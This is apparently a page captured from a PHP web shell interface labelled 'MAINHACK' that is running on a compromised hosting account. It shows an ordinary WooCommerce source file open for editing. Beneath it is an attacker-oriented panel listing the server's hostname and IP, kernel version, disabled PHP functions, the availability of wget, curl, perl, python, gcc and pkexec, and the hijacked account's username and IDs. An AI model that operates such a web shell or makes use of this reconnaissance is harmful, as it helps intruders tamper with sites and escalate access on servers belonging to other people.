[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CustomAttributeTraits.php
<?php /** * Traits for handling custom product attributes and their terms. */ namespace Automattic\WooCommerce\Admin\API; defined( 'ABSPATH' ) || exit; /** * CustomAttributeTraits class. * * @internal */ trait CustomAttributeTraits { /** * Get a single attribute by its slug. * * @internal * @param string $slug The attribute slug. * @return WP_Error|object The matching attribute object or WP_Error if not found. */ public function get_custom_attribute_by_slug( $slug ) { $matching_attributes = $this->get_custom_attributes( array( 'slug' => $slug ) ); if ( empty( $matching_attributes ) ) { return new \WP_Error( 'woocommerce_rest_product_attribute_not_found', __( 'No product attribute with that slug was found.', 'woocommerce' ), array( 'status' => 404 ) ); } foreach ( $matching_attributes as $attribute_key => $attribute_value ) { return array( $attribute_key => $attribute_value ); } } /** * Query custom attributes by name or slug. * * @param string $args Search arguments, either name or slug. * @return array Matching attributes, formatted for response. */ protected function get_custom_attributes( $args ) { global $wpdb; $args = wp_parse_args( $args, array( 'name' => '', 'slug' => '', ) ); if ( empty( $args['name'] ) && empty( $args['slug'] ) ) { return array(); } $mode = $args['name'] ? 'name' : 'slug'; if ( 'name' === $mode ) { $name = $args['name']; // Get as close as we can to matching the name property of custom attributes using SQL. $like = '%"name";s:%:"%' . $wpdb->esc_like( $name ) . '%"%'; } else { $slug = sanitize_title_for_query( $args['slug'] ); // Get as close as we can to matching the slug property of custom attributes using SQL. $like = '%s:' . strlen( $slug ) . ':"' . $slug . '";a:6:{%'; } // Find all serialized product attributes with names like the search string. $query_results = $wpdb->get_results( $wpdb->prepare( "SELECT meta_value FROM {$wpdb->postmeta} WHERE meta_key = '_product_attributes' AND meta_value LIKE %s LIMIT 100", $like ), ARRAY_A ); $custom_attributes = array(); foreach ( $query_results as $raw_product_attributes ) { $meta_attributes = maybe_unserialize( $raw_product_attributes['meta_value'] ); if ( empty( $meta_attributes ) || ! is_array( $meta_attributes ) ) { continue; } foreach ( $meta_attributes as $meta_attribute_key => $meta_attribute_value ) { $meta_value = array_merge( array( 'name' => '', 'is_taxonomy' => 0, ), (array) $meta_attribute_value ); // Skip non-custom attributes. if ( ! empty( $meta_value['is_taxonomy'] ) ) { continue; } // Skip custom attributes that didn't match the query. // (There can be any number of attributes in the meta value). if ( ( 'name' === $mode ) && ( false === stripos( $meta_value['name'], $name ) ) ) { continue; } if ( ( 'slug' === $mode ) && ( $meta_attribute_key !== $slug ) ) { continue; } // Combine all values when there are multiple matching custom attributes. if ( isset( $custom_attributes[ $meta_attribute_key ] ) ) { $custom_attributes[ $meta_attribute_key ]['value'] .= ' ' . WC_DELIMITER . ' ' . $meta_value['value']; } else { $custom_attributes[ $meta_attribute_key ] = $meta_attribute_value; } } } return $custom_attributes; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252